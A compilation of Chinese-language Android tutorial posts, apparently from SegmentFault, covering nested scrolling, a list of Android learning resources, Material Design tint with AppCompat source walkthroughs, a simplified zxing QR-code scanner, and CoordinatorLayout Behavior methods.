     * @param axes Supported nested scroll axes.
     *             See {@link NestedScrollingChild#startNestedScroll(int)}.
     * @return true if a cooperating parent view was found and nested scrolling started successfully
     */
    public boolean startNestedScroll(int axes) {
        if (hasNestedScrollingParent()) {
            // Already in progress
            return true;
        }
        if (isNestedScrollingEnabled()) {
            ViewParent p = mView.getParent();
            View child = mView;
            while (p != null) {
                if (ViewParentCompat.onStartNestedScroll(p, child, mView, axes)) {
                    mNestedScrollingParent = p;
                    ViewParentCompat.onNestedScrollAccepted(p, child, mView, axes);
                    return true;
                }
                if (p instanceof View) {
                    child = (View) p;
                }
                p = p.getParent();
            }
        }
        return false;
    }



可以看到这里是帮你实现一些跟NestedScrollingParent交互的一些方法。
ViewParentCompat是一个和父view交互的兼容类，它会判断api version，如果在Lollipop以上，就是用view自带的方法，否则判断是否实现了NestedScrollingParent接口，去调用接口的方法。


那么具体我们怎么使用这一套机制呢？比如子View这时候我需要通知父view告诉它我有一个嵌套的touch事件需要我们共同处理。那么针对一个只包含scroll交互，它整个工作流是这样的：


一、startNestedScroll


首先子view需要开启整个流程（内部主要是找到合适的能接受nestedScroll的parent），通知父View，我要和你配合处理TouchEvent


二、dispatchNestedPreScroll


在子View的onInterceptTouchEvent或者onTouch中(一般在MontionEvent.ACTION_MOVE事件里)，调用该方法通知父View滑动的距离。该方法的第三第四个参数返回父view消费掉的scroll长度和子View的窗体偏移量。如果这个scroll没有被消费完，则子view进行处理剩下的一些距离，由于窗体进行了移动，如果你记录了手指最后的位置，需要根据第四个参数offsetInWindow计算偏移量，才能保证下一次的touch事件的计算是正确的。

如果父view接受了它的滚动参数，进行了部分消费，则这个函数返回true，否则为false。

这个函数一般在子view处理scroll前调用。


三、dispatchNestedScroll


向父view汇报滚动情况，包括子view消费的部分和子view没有消费的部分。

如果父view接受了它的滚动参数，进行了部分消费，则这个函数返回true，否则为false。

这个函数一般在子view处理scroll后调用。


四、stopNestedScroll


结束整个流程。


整个对应流程是这样




	子view
  	父view





	startNestedScroll
  	onStartNestedScroll、onNestedScrollAccepted



	dispatchNestedPreScroll
  	onNestedPreScroll



	dispatchNestedScroll
  	onNestedScroll



	stopNestedScroll
  	onStopNestedScroll





一般是子view发起调用，父view接受回调。


我们最需要关注的是dispatchNestedPreScroll中的consumed参数。


java    public boolean dispatchNestedPreScroll(int dx, int dy, int[] consumed, int[] offsetInWindow) ;



它是一个int型的数组，长度为2，第一个元素是父view消费的x方向的滚动距离；第二个元素是父view消费的y方向的滚动距离，如果这两个值不为0，则子view需要对滚动的量进行一些修正。正因为有了这个参数，使得我们处理滚动事件的时候，思路更加清晰，不会像以前一样被一堆的滚动参数搞混。




对NestedScroll的介绍暂时到这里，下一次将讲一下CoordinatorLayout的使用（其中让人较难理解的Behavior对象），以及在SegmentFault Android客户端中的实践。谢谢支持。


 我是如何自学Android，资料分享（2015 版）

作者：lolomaco

来源： 我是如何自学Android，资料分享（2015 版）



                    
看到一篇很干货的学习资料，分享一下~

本文作者：Tikitoo

本文出处：http://www.jianshu.com/p/874ff12a4c01




自己学了两三个月的Android，最近花了一周左右的时间写了个App——Diigoer（已开源），又花了一两周时间找工作，收到了两个Offer，也算是对自己学习的一种认可吧；我刚开始学习总结的——《我是如何自学Android，资料分享》，如果是初学Android 的话，不应该错过的，而今天这篇分享好这篇文章，相对于第一次写的会有所提升，所以建议先把上一篇看了，再来看这一篇；

那下面就切入正题吧，之前重复的就不再介绍了，相对于第一季，自己对Android 的认识更加深了（算是入门了吧），干货更多了，更加通俗易懂了，英文资料会多一点；而自己学习过程中发现的一些好资源，分享给你们，希望对你们的有一些帮助；


Java 学习


我要再次强调，一定要有Java 基础（虽然现在使用其他语言也可以开发Android，但毕竟是很小众），也不要认为学习Java 两三周就可以不用管了，这会在以后的深入学习中暴露出问题，所以Java 基础一定要牢固，当然我也不是说，Java 学的特别好，才能去学习Android，毕竟学习是循序渐进的，所以在以后的学习中要注意，对于Java 系统的学习，我有一下几个推荐；



	Introduction to Programming in Java: An Interdisciplinary Approach

普林斯顿的公开课，也有书籍，我觉得可以直接跟着公开课学习就OK 啦；


	
Java Tutorial - TutorialSpoint

TutorialSpoint 是一个专门技术教程网站，其他教程也可以去看学习；当然你想离线观看，网站还提供了PDF 版



	Java Tutorial PDF





	Javanotes 7.0 -- Title Page

这个是霍巴特威廉史密斯学院的一本书，跟着JDK 版本，已经发行了好多版本；




由于篇幅有限，所以在这里就不累赘了，以后会专门写一篇文章来说Java；


Android 系列教程


这一段时间，发现了好多学习资源，自己收藏了，不敢独享，所以拿出来和大家分享，如果您发现不错的学习资源，欢迎留言；

而学习的过程中，也忽略了一些问题，比如自己学习的不系统，如果您也是自学的话，一定要注意这个问题，我觉得，除了看官方文档和大牛的博客之外，最重要就找一本好书，把自己的知识系统化；


入门指南



	Getting Started | Android Developers

	How to get started programming Android apps | HalfApp

	A step by step guide about how to get started and involved in Android Development - Reddit

	Beginning Android Resources · codepath/android_guides Wiki

	我是如何自学Android，资料分享

	我推荐的 Android 基础学习路线

	Android入门杂谈



书籍推荐


首先自己没有很系统地去看一本书，所以我也是搜索，或者实在知乎上别人推荐的，所以，要根据自己的情况，适合自己的书来看；



	
 The Busy Coder's Guide to Android Development

这是大牛CommonsGuy 开源的一本书，它的更新非常及时，基本上就是跟着SDK 更新的，下载PDF 可以在这里（Four-to-Free Guarantee）下载，书籍中源码可以在Github（commonsguy/cw-omnibus） 中查看；

	
Best Android Books and Resources 2014

这篇文章主要介绍了Android 书籍和开发资源；



公开课



	How to Develop Android Apps Online Course - Udacity

	Programming Mobile Applications for Android (Coursera)

	Android Development For Absolute Beginners - YouTube



系列教程



	
Home · codepath/android_guides Wiki - codepath

Android 指南，它不仅介绍怎么创建一个最简单的App Demo，循序渐进教你使用各种流行的框架，对于即将工作的同学来说是很用用的；Demo 很有实战意义；

	
Android tutorial - TutorialSpoint

是不是特别熟悉呀，对上面提到过，教程特别通俗易懂，代码实例也不错；

	
Android Development - Vogella

教程挺通俗易懂

	
AndroidHive | Tutorials, Games, Apps, Tips |

博主是印度人，博客主要是以教程为主，质量较高，而且会分享比较新的东西；

	Android Tutorial | Interactive and Step by step tutorial to learn Android

	Android SDK - Tuts+ Code Category

	Android Programming Archives - Learn2Crack

	Android Learning Path | SlideRule



大牛博客推荐



	
android-cn/android-dev-cn

主要介绍国内Android 开发大牛；

	
android-cn/android-dev-com

主要介绍国外Android 开发大牛；

	
What are must-read Android developer blogs? - Quora

Quora 上的回答

	
有哪些 Android 大牛的 blog 值得推荐？ - 知乎

知乎上的回答



开源App



	
F-Droid | Free and Open Source Android App Repository

F-Droid 是一个Android 开源App 仓库

	Android优秀开源项目 - 小猪爬爬

	
The Android Arsenal - A categorized directory of free libraries and tools for Android

在这里，找到最新最流行的Android 开源类库

	
Trinea/android-open-project - Trinea

大牛Trinea 写的Android 开源项目汇总



开发工具



	
Great Code Examples & Snippets | Codota

一个Android 代码搜索引擎；前两天发现了这个工具就爱不释手，写了篇文章——《Android 开发工具之Codota——搜索最好的Android 代码 - 简书》，让你参考入门。

	
Gradle

知乎上我回答的《如何从eclipse转入android studio,感觉Gradle什么的很难理解的。有什么教程吗? - Tikitoo 的回答 - 知乎》，可以参考。

	
Android Studio

从Google 的态度就可以看出，Android Studio 就是未来，而且在最近发布了正式版，教程在网上也不少。

	Android User Interface | User Experience | Inspiration source for Android Designers and Developers

	Android App Patterns

	
Iconfinder - 400,000+ free and premium icons

一个Icon 搜索引擎

	
google/material-design-icons - github

Google 把官方的Material Design 1000+ 的Icon 开源了，不仅仅只有Android 版，而且还有Web 和iOS，真是业界良心呀。

	
inferjay/AndroidDevTools

inferjay 总结的开发工具，并且提供了国内的镜像。

	
Genymotion - A faster Android emulator

Genymotion 是Android 的虚拟机，比官方的快了不知多少啊，它是基于Virtual Box，并且提供了插件。



订阅



	Android 周刊

	Android开发技术周报

	码农周刊 - Android



资源



	Best resources for Android development

	
Resources every Android developer must know

中文版——《Android开发者必知的开发资源 - ImportNew

》，译者是ImportNew - 黄小非

	开发资源 | Android 沉思录

	Android Developer Resources, Tutorials, and References — Being Apptentive

	Beginning Android Resources · codepath/android_guides Wiki

	Android开发者资源大汇总 - Android开发周刊 - 博客园

	awesome-android - github

	Where To Start - Learning Android Development the Right Way - Kevin Darty - Google+

	resources - androiddev reddit

	Android自学资料汇总

	Android 学习之路



参考



	
http://www.quora.com/What-are-the-best-resources-to-learn-Android-development


	
http://www.quora.com/What-are-the-best-websites-to-learn-Android-development-tools#


	
http://www.sitepoint.com/12-android-tutorials-beginners/


	
http://nimooli.com/blog/best-android-books-2014/





 谈谈Android Material Design 中的Tint（着色）

作者：Gemini

来源： 谈谈Android Material Design 中的Tint（着色）



                    
什么是Tint


当我开始接触Tint这个词的时候，其实是蛮不理解它的意思的，以及并不清楚Google发明它的目的，它一般搭配Background配合使用，但是现在已经有了Background，为什么还需要Tint呢？



  Tint 翻译为着色。




着色，着什么色呢？和背景有关，当然是着背景的色。当我开发客户端，使用了appcompat-v7包的时候，为了实现Material Design的效果，我们会去设置主题里的几个颜色，重要的比如primaryColor，colorControlNormal，colorControlActived 等等，而我们使用的一些组件，比如EditText就会自动变成我们想要的背景颜色，在背景图只有一张的情况下，这样的做法极大的减少了我们apk包的大小。


实现的方式就是用一个颜色为我们的背景图片设置tint（着色）。


例子：





看看即将发布的SegmentFault for Android 2.7中，发布问题功能，这个EditText的颜色和我们的主要颜色相同。它利用了TintManager这个类，为自己的背景进行着色（绿色）。

那么这个原始图是什么样子呢？我们从appcompat-v7包中找到了这个图，是一个.9图，样子如下：




其实它只是一个黑色的条，通过绿色的着色，变成了一个绿色的条。  就是这样的设计方式，使得我们在Material Design中省了多少资源文件呀！


好了，既然理解了tint的含义，我们赶紧看下这一切是如何实现的吧。

其实底层特别简单，了解过渲染的同学应该知道PorterDuffColorFilter这个东西，我们使用SRC_IN的方式，对这个Drawable进行颜色方面的渲染，就是在这个Drawable中有像素点的地方，再用我们的过滤器着色一次。

实际上如果要我们自己实现，只用获取View的backgroundDrawable之后，设置下colorFilter即可。


看下最核心的代码就这么几行


javaif (filter == null) {
    // Cache miss, so create a color filter and add it to the cache
    filter = new PorterDuffColorFilter(color, mode);
}

d.setColorFilter(filter);



通常情况下，我们的mode一般都是SRC_IN，如果想了解这个属性相关的资料，这里是传送门： http://blog.csdn.net/t12x3456/article/details/10432935 （中文）


由于API Level 21以前不支持background tint在xml中设置，于是提供了ViewCompat.setBackgroundTintList方法和ViewCompat.setBackgroundTintMode用来手动更改需要着色的颜色，但要求相关的View继承TintableBackgroundView接口。


源码解析


看下源码是如何实现的吧，我们以AppCompatEditText为例：

看下构造函数（省略无关代码）


javapublic AppCompatEditText(Context context, AttributeSet attrs, int defStyleAttr) {
    super(TintContextWrapper.wrap(context), attrs, defStyleAttr);

    ...

    ColorStateList tint = a.getTintManager().getTintList(a.getResourceId(0, -1)); //根据背景的resource id获取内置的着色颜色。
    if (tint != null) {
        setInternalBackgroundTint(tint); //设置着色
    }

    ...
}

private void setInternalBackgroundTint(ColorStateList tint) {
    if (tint != null) {
        if (mInternalBackgroundTint == null) {
            mInternalBackgroundTint = new TintInfo();
        }
        mInternalBackgroundTint.mTintList = tint;
        mInternalBackgroundTint.mHasTintList = true;
    } else {
        mInternalBackgroundTint = null;
    }
    //上面的代码是记录tint相关的信息。
    applySupportBackgroundTint();  //对背景应用tint
}


 private void applySupportBackgroundTint() {
    if (getBackground() != null) {
        if (mBackgroundTint != null) {
            TintManager.tintViewBackground(this, mBackgroundTint);
        } else if (mInternalBackgroundTint != null) {
            TintManager.tintViewBackground(this, mInternalBackgroundTint); //最重要的，对tint进行应用
        }
    }
}




然后我们进入tintViewBackground看下TintManager里面的源码


java public static void tintViewBackground(View view, TintInfo tint) {
    final Drawable background = view.getBackground();
    if (tint.mHasTintList) {
        //如果设置了tint的话，对背景设置PorterDuffColorFilter
        setPorterDuffColorFilter(
                background,
                tint.mTintList.getColorForState(view.getDrawableState(),
                        tint.mTintList.getDefaultColor()),
                tint.mHasTintMode ? tint.mTintMode : null);
    } else {
        background.clearColorFilter();
    }

    if (Build.VERSION.SDK_INT <= 10) {
        // On Gingerbread, GradientDrawable does not invalidate itself when it's ColorFilter
        // has changed, so we need to force an invalidation
        view.invalidate();
    }
}


private static void setPorterDuffColorFilter(Drawable d, int color, PorterDuff.Mode mode) {
    if (mode == null) {
        // If we don't have a blending mode specified, use our default
        mode = DEFAULT_MODE;
    }

    // First, lets see if the cache already contains the color filter
    PorterDuffColorFilter filter = COLOR_FILTER_CACHE.get(color, mode);

    if (filter == null) {
        // Cache miss, so create a color filter and add it to the cache
        filter = new PorterDuffColorFilter(color, mode);
        COLOR_FILTER_CACHE.put(color, mode, filter);
    }

    // 最最重要，原来是对background drawable设置了colorFilter 完成了我们要的功能。
    d.setColorFilter(filter);
}



以上是对API21以下的兼容。

如果我们要实现自己的AppCompat组件实现tint的一些特性的话，我们就可以指定好ColorStateList，利用TintManager对自己的背景进行着色，当然需要对外开放设置的接口的话，我们还要实现TintableBackgroundView接口，然后用ViewCompat.setBackgroundTintList进行设置，这样能完成对v7以上所有版本的兼容。


实例


比如我现在要对一个自定义组件实现对Tint的支持，其实只用继承下，加一些代码就好了，代码如下（几乎通用）：


public class AppCompatFlowLayout extends FlowLayout implements TintableBackgroundView {

    private static final int[] TINT_ATTRS = {
            android.R.attr.background
    };

    private TintInfo mInternalBackgroundTint;
    private TintInfo mBackgroundTint;
    private TintManager mTintManager;

    public AppCompatFlowLayout(Context context) {
        this(context, null);
    }

    public AppCompatFlowLayout(Context context, AttributeSet attributeSet) {
        this(context, attributeSet, 0);
    }

    public AppCompatFlowLayout(Context context, AttributeSet attributeSet, int defStyle) {
        super(context, attributeSet, defStyle);

        if (TintManager.SHOULD_BE_USED) {
            TintTypedArray a = TintTypedArray.obtainStyledAttributes(getContext(), attributeSet,
                    TINT_ATTRS, defStyle, 0);
            if (a.hasValue(0)) {
                ColorStateList tint = a.getTintManager().getTintList(a.getResourceId(0, -1));
                if (tint != null) {
                    setInternalBackgroundTint(tint);
                }
            }
            mTintManager = a.getTintManager();
            a.recycle();
        }
    }

    private void applySupportBackgroundTint() {
        if (getBackground() != null) {
            if (mBackgroundTint != null) {
                TintManager.tintViewBackground(this, mBackgroundTint);
            } else if (mInternalBackgroundTint != null) {
                TintManager.tintViewBackground(this, mInternalBackgroundTint);
            }
        }
    }

    @Override
    protected void drawableStateChanged() {
        super.drawableStateChanged();
        applySupportBackgroundTint();
    }

    private void setInternalBackgroundTint(ColorStateList tint) {
        if (tint != null) {
            if (mInternalBackgroundTint == null) {
                mInternalBackgroundTint = new TintInfo();
            }
            mInternalBackgroundTint.mTintList = tint;
            mInternalBackgroundTint.mHasTintList = true;
        } else {
            mInternalBackgroundTint = null;
        }
        applySupportBackgroundTint();
    }

    @Override
    public void setSupportBackgroundTintList(ColorStateList tint) {
        if (mBackgroundTint == null) {
            mBackgroundTint = new TintInfo();
        }
        mBackgroundTint.mTintList = tint;
        mBackgroundTint.mHasTintList = true;

        applySupportBackgroundTint();
    }

    @Nullable
    @Override
    public ColorStateList getSupportBackgroundTintList() {
        return mBackgroundTint != null ? mBackgroundTint.mTintList : null;
    }

    @Override
    public void setSupportBackgroundTintMode(PorterDuff.Mode tintMode) {
        if (mBackgroundTint == null) {
            mBackgroundTint = new TintInfo();
        }
        mBackgroundTint.mTintMode = tintMode;
        mBackgroundTint.mHasTintMode = true;

        applySupportBackgroundTint();
    }

    @Nullable
    @Override
    public PorterDuff.Mode getSupportBackgroundTintMode() {
        return mBackgroundTint != null ? mBackgroundTint.mTintMode : null;
    }
}



赶快去试试吧~



  欢迎关注我Github 以及 @Gemini




 Android 扫描二维码的实现（简化zxing）

作者：Gemini

来源： Android 扫描二维码的实现（简化zxing）



                    
zxing

哎呀呀，在杭州2015 Hackthon的现场，因为没有二维码签到功能，被吐槽low！这是我近期最丢脸的事啦~
于是回来就开始着手开发二维码相关的东西了。

一搜索Google和我们SegmentFault，发现在Android上，Google的zxing这个二维码的库比较受欢迎，好，那就是它了（我就是这么任性= =）

OK，看下zxing这个项目https://github.com/zxing/zxing
好像非常大啊，如何快速用起来呢？

答案就是

简化！



简化的话，带来的副作用就是适用性降低，比如在这个场景里面，我们不考虑横屏的情况，不考虑对摄像头进行过多的配置，不存在截图。

简化过程

我们看下这个项目有一个android目录，它里面其实就是条码扫描器这个app的开源代码，因为我们暂时不需要深究它是如何进行图像识别，如何帮我们从图像里解析出二维码的，所以我们就不研究core相关的内容（但是里面都是干货啊！图像识别的干货啊！）


我们最主要就是参考这个里面的源码啦。

先把整个项目clone下来，然后把android这个源码导入到Android Studio里面去，经过小小的配置，就能搞定啦，直接运行我们就能看见这个App了。

先看下我们要做的工作是啥：


	对摄像头进行管理（为了兼容老设备，我们要用即将被Google舍弃的android.hardware.camera类）。


	对获取的一帧图片进行解析。


	对解析的结果进行处理。






如果不带着问题或者目的去看源码的话，会非常没头绪，所以我们一定要记得我们想要做什么。

OK，先看第一个问题，我们需要对摄像头进行管理。我们可以看到目录中有三个文件和摄像机有关


就是这三个文件啦。



	类
	用途





	CameraConfigurationManager
	这个类主要用于对摄像头进行一些配置，包括旋转角度、预览图尺寸等等



	CameraConfigurationUtils
	工具类，在CameraConfigurationManager调用，



	CameraManager
	控制摄像头的生命周期，获取预览尺寸，生成原始数据发送给解析器





在这里，我把CameraConfigurationUtils拷贝过来，另外两个类合成到CameraManager里面，在初始化的时候，做好配置。

摄像头的管理（横屏改竖屏）

因为原先zxing给的demo是横屏的，这里要改成竖屏，就需要做几个配置。

getFramingRectInPreview

在getFramingRectInPreview这个函数中，cameraResolution和screenResolution方向不对，所以

rect.left = rect.left * cameraResolution.y / screenResolution.x;
rect.right = rect.right * cameraResolution.y / screenResolution.x;
rect.top = rect.top * cameraResolution.x / screenResolution.y;
rect.bottom = rect.bottom * cameraResolution.x / screenResolution.y;

这里需要把方向换一下。

binary data

还需要更改的地方，就是在获取帧预览中的原始数据，需要进行一个旋转，因为zxing原先是对横向的图片一行一行读取的，如果我们给予纵向的数据，就必须旋转数据，或者更改读取算法。 这里更改数据可能会更加方便，
在buildLuminanceSource中，更改：

byte[] rotatedData = new byte[data.length];
for (int y = 0; y < height; y++) {
    for (int x = 0; x < width; x++)
        rotatedData[x * height + height - y - 1] = data[x + y * width];
}
int tmp = width;
width = height;
height = tmp;

最后记得把摄像头的预览旋转改成90°即可。

 camera.setDisplayOrientation(90);

附上这部分代码（比较长）

public class CameraManager {

    private static final int MIN_FRAME_WIDTH = 240;
    private static final int MIN_FRAME_HEIGHT = 240;

    // 这里修正扫描大小
    private static final int MAX_FRAME_WIDTH = 675; // = 5/8 * 1920
    private static final int MAX_FRAME_HEIGHT = 1200; // = 5/8 * 1080

    private Context mContext;
    private Point mScreenResolution;
    private Point mCameraResolution;
    private Point mBestPreviewSize;
    private Point mPreviewSizeOnScreen;

    private Rect mFramingRectInPreview;
    private Rect mFramingRect;

    private Camera mCamera;
    private PreviewCallback mPreviewCallback;
    private AutoFocusManager mAutoFocusManager;

    public CameraManager(Context context) {
        mContext = context;
        mPreviewCallback = new PreviewCallback(this);
    }

    public void openDriver(Camera camera, SurfaceHolder holder) {
        mCamera = camera;

        Camera.Parameters parameters = camera.getParameters();

        CameraConfigurationUtils.setBarcodeSceneMode(parameters);
        CameraConfigurationUtils.setFocus(parameters,
                true,
                true,
                false);

        Point theScreenResolution = new Point();
        Rect rect = holder.getSurfaceFrame();
        theScreenResolution.set(rect.height(), rect.width());
        mScreenResolution = theScreenResolution;
        mCameraResolution = CameraConfigurationUtils.findBestPreviewSizeValue(parameters, mScreenResolution);
        mBestPreviewSize = CameraConfigurationUtils.findBestPreviewSizeValue(parameters, mScreenResolution);

        boolean isScreenPortrait = mScreenResolution.x < mScreenResolution.y;
        boolean isPreviewSizePortrait = mBestPreviewSize.x < mBestPreviewSize.y;

        if (isScreenPortrait == isPreviewSizePortrait) {
            mPreviewSizeOnScreen = mBestPreviewSize;
        } else {
            mPreviewSizeOnScreen = new Point(mBestPreviewSize.y, mBestPreviewSize.x);
        }

        parameters.setPreviewSize(mBestPreviewSize.x, mBestPreviewSize.y);
        camera.setParameters(parameters);
        camera.setDisplayOrientation(90);

        Camera.Parameters afterParameters = camera.getParameters();
        Camera.Size afterSize = afterParameters.getPreviewSize();
        if (afterSize != null && (mBestPreviewSize.x != afterSize.width || mBestPreviewSize.y != afterSize.height)) {
            mBestPreviewSize.x = afterSize.width;
            mBestPreviewSize.y = afterSize.height;
        }

    }

    public synchronized Rect getFramingRect() {
        if (mFramingRect == null) {
            Point screenResolution = mScreenResolution;
            if (screenResolution == null) {
                // Called early, before init even finished
                return null;
            }

            int width = findDesiredDimensionInRange(screenResolution.x, MIN_FRAME_WIDTH, MAX_FRAME_WIDTH);
            int height = findDesiredDimensionInRange(screenResolution.y, MIN_FRAME_HEIGHT, MAX_FRAME_HEIGHT);

            int leftOffset = (screenResolution.x - width) / 2;
            int topOffset = (screenResolution.y - height) / 2;
            mFramingRect = new Rect(leftOffset, topOffset, leftOffset + width, topOffset + height);
        }
        return mFramingRect;
    }

    public Point getCameraResolution() {
        return mCameraResolution;
    }

    public synchronized Rect getFramingRectInPreview() {
        if (mFramingRectInPreview == null) {
            Rect framingRect = getFramingRect();
            if (framingRect == null) {
                return null;
            }
            Rect rect = new Rect(framingRect);
            Point cameraResolution = mCameraResolution;
            Point screenResolution = mScreenResolution;
            if (cameraResolution == null || screenResolution == null) {
                // Called early, before init even finished
                return null;
            }
            rect.left = rect.left * cameraResolution.y / screenResolution.x;
            rect.right = rect.right * cameraResolution.y / screenResolution.x;
            rect.top = rect.top * cameraResolution.x / screenResolution.y;
            rect.bottom = rect.bottom * cameraResolution.x / screenResolution.y;
            mFramingRectInPreview = rect;
        }
        return mFramingRectInPreview;
    }

    private static int findDesiredDimensionInRange(int resolution, int hardMin, int hardMax) {
        int dim = 5 * resolution / 8; // Target 5/8 of each dimension
        if (dim < hardMin) {
            return hardMin;
        }
        if (dim > hardMax) {
            return hardMax;
        }
        return dim;
    }

    /**
     * A factory method to build the appropriate LuminanceSource object based on the format
     * of the preview buffers, as described by Camera.Parameters.
     *
     * @param data A preview frame.
     * @param width The width of the image.
     * @param height The height of the image.
     * @return A PlanarYUVLuminanceSource instance.
     */
    public PlanarYUVLuminanceSource buildLuminanceSource(byte[] data, int width, int height) {
        Rect rect = getFramingRectInPreview();
        if (rect == null) {
            return null;
        }

        byte[] rotatedData = new byte[data.length];
        for (int y = 0; y < height; y++) {
            for (int x = 0; x < width; x++)
                rotatedData[x * height + height - y - 1] = data[x + y * width];
        }
        int tmp = width;
        width = height;
        height = tmp;

        // Go ahead and assume it's YUV rather than die.
        return new PlanarYUVLuminanceSource(rotatedData, width, height, rect.left, rect.top,
                rect.width(), rect.height(), false);
    }

    /**
     * A single preview frame will be returned to the handler supplied. The data will arrive as byte[]
     * in the message.obj field, with width and height encoded as message.arg1 and message.arg2,
     * respectively.
     *
     * @param handler The handler to send the message to.
     * @param message The what field of the message to be sent.
     */
    public synchronized void requestPreviewFrame(Handler handler, int message) {
        if (mCamera != null) {
            mPreviewCallback.setHandler(handler, message);
            mCamera.setOneShotPreviewCallback(mPreviewCallback);
        }
    }

    public synchronized void startPreview() {
        mCamera.startPreview();
        mAutoFocusManager = new AutoFocusManager(mContext, mCamera);
    }

    public synchronized void stopPreview() {
        if (mAutoFocusManager != null) {
            mAutoFocusManager.stop();
            mAutoFocusManager = null;
        }
        if (mCamera != null) {
            mCamera.stopPreview();
        }
        mPreviewCallback.setHandler(null, 0);

    }

    public synchronized void closeDriver() {
        mCamera.release();
        mCamera = null;
    }
}

获取图像数据

Camera提供这么一个函数：setOneShotPreviewCallback，看名字就知道，它是会在某个时间点，回调你给的接口，然后传入一个二进制的图像数组，让你去解析，这正是我们想要的东西，所以我们看下这个PreviewCallback，它只有一个函数，

@Override
public void onPreviewFrame(byte[] data, Camera camera) {
}

很显然，第一个参数就是图像数组了，我们看看zxing里面是怎么处理这个数据的。

解析数据

@Override
public void onPreviewFrame(byte[] data, Camera camera) {
    Point cameraResolution = mCameraManager.getCameraResolution();
    Handler thePreviewHandler = mPreviewHandler;
    if (cameraResolution != null && thePreviewHandler != null) {
        Message message = thePreviewHandler.obtainMessage(mPreviewMessage, cameraResolution.x,
                cameraResolution.y, data);
        message.sendToTarget();
        mPreviewHandler = null;
    } else {
    }
}

zxing是发送到另外一个handler，也就是说，这个解析数据的过程比较浪费时间，所以要开线程来解决这个事。
我们跟踪这个previewHanlder可以发现，它是一个DecodeHandler，其中有个重要的decode函数

private void decode(byte[] data, int width, int height) {
    long start = System.currentTimeMillis();
    Result rawResult = null;
    PlanarYUVLuminanceSource source = activity.getCameraManager().buildLuminanceSource(data, width, height);
    if (source != null) {
        BinaryBitmap bitmap = new BinaryBitmap(new HybridBinarizer(source));
        try {
            rawResult = multiFormatReader.decodeWithState(bitmap);
        } catch (ReaderException re) {
            // continue
        } finally {
            multiFormatReader.reset();
        }
    }

    Handler handler = activity.getHandler();
    if (rawResult != null) {
        // Don't log the barcode contents for security.
        long end = System.currentTimeMillis();
        Log.d(TAG, "Found barcode in " + (end - start) + " ms");
        if (handler != null) {
            Message message = Message.obtain(handler, R.id.decode_succeeded, rawResult);
            Bundle bundle = new Bundle();
            bundleThumbnail(source, bundle);
            message.setData(bundle);
            message.sendToTarget();
        }
    } else {
        if (handler != null) {
            Message message = Message.obtain(handler, R.id.decode_failed);
            message.sendToTarget();
        }
    }
}

这里用到我们刚刚重写的buildLuminanceSource这个函数了，可以理解这个函数是对我们的原始数据做一个包装，来给解析器读取。

解析器的配置我们可以看看DecodeThread这个类（专门用于解析图像的线程）

...
 decodeFormats = EnumSet.noneOf(BarcodeFormat.class);
decodeFormats.addAll(DecodeFormatManager.PRODUCT_FORMATS);
decodeFormats.addAll(DecodeFormatManager.INDUSTRIAL_FORMATS);
decodeFormats.addAll(DecodeFormatManager.QR_CODE_FORMATS);
decodeFormats.addAll(DecodeFormatManager.DATA_MATRIX_FORMATS);
mHints.put(DecodeHintType.POSSIBLE_FORMATS, decodeFormats);

这里我们可以为我们的扫描器加更多格式的支持（比如条形码、二维码、XX码）

zxing是使用List来管理这些解析器，然后每次读取数据，都经过这些解析器过滤一遍，如果解析成功就有结果，否则就没有结果。

最后我们跟踪R.id.decode_success找到CaptureActivityHandler
这里的handleMessage中有

  case R.id.decode_succeeded:
        state = State.SUCCESS;
        Bundle bundle = message.getData();
        Bitmap barcode = null;
        float scaleFactor = 1.0f;
        if (bundle != null) {
            byte[] compressedBitmap = bundle.getByteArray(DecodeThread.BARCODE_BITMAP);
            if (compressedBitmap != null) {
                barcode = BitmapFactory.decodeByteArray(compressedBitmap, 0, compressedBitmap.length, null);
                // Mutable copy:
                barcode = barcode.copy(Bitmap.Config.ARGB_8888, true);
            }
            scaleFactor = bundle.getFloat(DecodeThread.BARCODE_SCALED_FACTOR);
        }
        activity.handleDecode((Result) message.obj, barcode, scaleFactor);
        break;

我们读取Result对象的text成员变量就是我们想要的二维码信息了！最后的工作当然是解析我们的二维码中的URI，然后进行后续的工作啦~

PS: 附带二维码扫描的SegmentFault for Android版本 即将上线！！



欢迎关注我Github 以及 weibo、@Gemini
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在Android M Preview发布后，我们获得了一个新的support library —— Android Design Support Library 用来实现Google的Material Design 提供了一系列符合设计标准的控件。


其中有众多的控件，其中最复杂，功能最强大的就是CoordinatorLayout，顾名思义，它是用来组织它的子views之间协作的一个父view。CoordinatorLayout默认情况下可理解是一个FrameLayout，它的布局方式默认是一层一层叠上去。

那么，CoordinatorLayout的神奇之处就在于Behavior对象了。

看下CoordinatorLayout.Behavior对象的 Overview



  Interaction behavior plugin for child views of CoordinatorLayout.





  A Behavior implements one or more interactions that a user can take on a child view. These interactions may include drags, swipes, flings, or any other gestures.




可知Behavior对象是用来给CoordinatorLayout的子view们进行交互用的。
Behavior接口拥有很多个方法，我们拿AppBarLayout为例。AppBarLayout中有两个Behavior，一个是拿来给它自己用的，另一个是拿来给它的兄弟结点用的，我们重点关注下AppBarLayout.ScrollingViewBehavior这个类。


我们看下这个类中的以下方法


0. dependency


java public boolean layoutDependsOn(CoordinatorLayout parent, View child, View dependency)     {
    return dependency instanceof AppBarLayout;
}



这个方法告诉CoordinatorLayout，这个view是依赖AppBarLayout的，后续父亲可以利用这个方法，查找到这个child所有依赖的兄弟结点。


1. measure


javapublic boolean onMeasureChild(CoordinatorLayout parent, View child, int parentWidthMeasureSpec, int widthUsed, int parentHeightMeasureSpec, int heightUsed)



这个是CoordinatorLayout在进行measure的过程中，利用Behavior对象对子view进行大小测量的一个方法。

在这个方法内，我们可以通过parent.getDependencies(child);这个方法，获取到这个child依赖的view，然后通过获取这个child依赖的view的大小来决定自身的大小。


2. layout


java public boolean onLayoutChild(CoordinatorLayout parent, View child, int layoutDirection)



这个方法是用来子view用来布局自身使用，如果依赖其他view，那么系统会首先调用


javapublic boolean onDependentViewChanged(CoordinatorLayout parent, View child, View dependency) 



这个方法，可以在这个回调中记录dependency的一些位置信息，在onLayoutChild中利用保存下来的信息进行计算，然后得到自身的具体位置。


3. nested scroll


java public boolean onStartNestedScroll(CoordinatorLayout coordinatorLayout, AppBarLayout child, View directTargetChild, View target, int nestedScrollAxes)



javapublic void onNestedPreScroll(CoordinatorLayout coordinatorLayout, AppBarLayout child, View target, int dx, int dy, int[] consumed) 



javapublic void onNestedScroll(CoordinatorLayout coordinatorLayout, AppBarLayout child, View target, int dxConsumed, int dyConsumed, int dxUnconsumed, int dyUnconsumed) 



